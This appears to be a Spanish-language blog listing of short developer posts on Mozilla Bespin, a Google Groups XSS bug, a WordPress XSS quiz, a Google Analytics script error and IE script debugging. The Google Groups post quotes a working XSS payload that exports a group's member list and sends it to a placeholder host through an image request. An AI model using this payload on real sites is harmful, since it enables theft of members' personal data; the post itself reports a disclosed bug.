Categories
Firefox JavaScript Software Libre Utilidades

Mozilla Bespin: Un editor de código basado en web

Bespin es un proyecto de un editor de código basado en web, libre, extensible que permitirá incrementar la productividad de desarrollo. Fue desarrollado usando HTML 5.

Por ahora está en fase de prueba en su versión 0.1, lo cual sólo permite el registro de usuarios mas no crear propios proyectos o archivos.

Obviamente en Firefox se ve bien, pero no funciona con IE7. El proyecto en si es interesante y novedoso, esperamos que en la siguiente versión ya se pueda jugar mas con este editor.


Introducing Bespin from Dion Almaer on Vimeo.

webkit-editor-medium

Bespin 0.1 Running in Firefox 3.0

Enlace: Mozilla Labs: Bespin

Categories
Google JavaScript Seguridad XSS

Otro bug, de la mano de Google

Este año recién empieza y ya se han reportado múltiples fallos de seguridad en diversas aplicaciones, esta vez Michael Schwarz comenta sobre un bug en Google Groups, que permite insertar javascript en el mensaje que se envía al administrador del grupo al momento de suscribirse.

Google groups

En el mismo artículo, pone código de prueba que permite obtener la lista de miembros de un grupo X.

javascript:

<script type="text/javascript">
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "/group/[GROUPNAME]/manage_members/MemberList.csv?Action.Export=Export+member+list", true);
xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
        var img = document.createElement("img");
        img.src = "http://yourdomain/?" + escape(xmlhttp.responseText);
        document.body.appendChild(img);
    }
};
xmlhttp.send(null);
</script>
Categories
JavaScript Quiz Seguridad Web WordPress XSS

Filtro de datos – Solución

El código mostrado en el último quiz, en realidad es una función de WordPress que era vulnerable a XSS. Pongo la solución en una nueva entrada porque intentaré describir algunos de los errores que cometí al intentar explotar el bug mencionado en una entrada anterior.

Categories
Firefox Google JavaScript Varios

Google Analytics: urchinTracker is not defined

Muchos de los sitios que usan Google Analytics para manejar sus estadísticas, presentan un -pequeño- error en javascript cuando el visitante usa Firefox.

Google Analytics errors

Google Analytics errors

Para solucionar -realmente- este pequeño error, pueden usar una versión modificada del script de Google Analytics o cambiar lo siguiente para evitar que se muestre el error:

html:

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>

<script type="text/javascript">
_uacct = "....";
urchinTracker();
</script>

por:

html:

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>

<script type="text/javascript">
_uacct = "....";
if (typeof(urchinTracker) == 'function') {
  urchinTracker();
}
</script>

Categories
.NET JavaScript

Depuración de javascript con Visual Studio .NET

El presente post intenta mostrar la depuración de código javascript en Internet Explorer desde la comodidad del Visual Studio .NET, que hace fácil la tarea de depuración de scripts -inclusive aquellos que han pasado por la utilidad packer de Dean Edwards.

Seguramente no soy el único que ha tenido problemas con ciertos scripts que funcionan bien en otros navegadores, pero no con Internet Explorer. Imagino que también habrán maldecido agradecido miles de veces a los desarrolladores de este navegador, por proveer esa "maravillosa" forma de mostrar los mensajes de error que normalmente no sirve para nada.

Nice IE's error message

Retomando el tema del post, para habilitar la depuración, se tiene que desmarcar la opción "Deshabilitar la depuración de secuencias de comandos (Internet Explorer)", esta opción pueden encontrarlo en Herramientas -> Opciones de Internet -> Avanzadas; una vez hecho el cambio se debe cerrar el navegador para que los cambios hagan efecto.

Habilitar depuración de scripts en IE

A continuación, para definir un breakpoint, sólo basta escribir debugger; en el lugar donde se quiere detener la ejecución del script.

code:

foo = function () {
        debugger;
        var arr = [];

        arr['demo'] = 'foo';               
               
        m = document.getElementById('msg');
       
        alert(m.value)
}

Una vez que hayan hecho los cambios necesarios, cada vez que el navegador encuentre la sentencia debugger aparecerá algo como:

Invocar al depurador
Invocar al depurador

Visual Studio en acción
Visual Studio en acción

Propiedades de variable
Propiedades de una variable

Variables locales
Variables locales

Consola

Si no tienen instalado Visual Studio .NET, pueden hacer uso de Microsoft Script Debugger.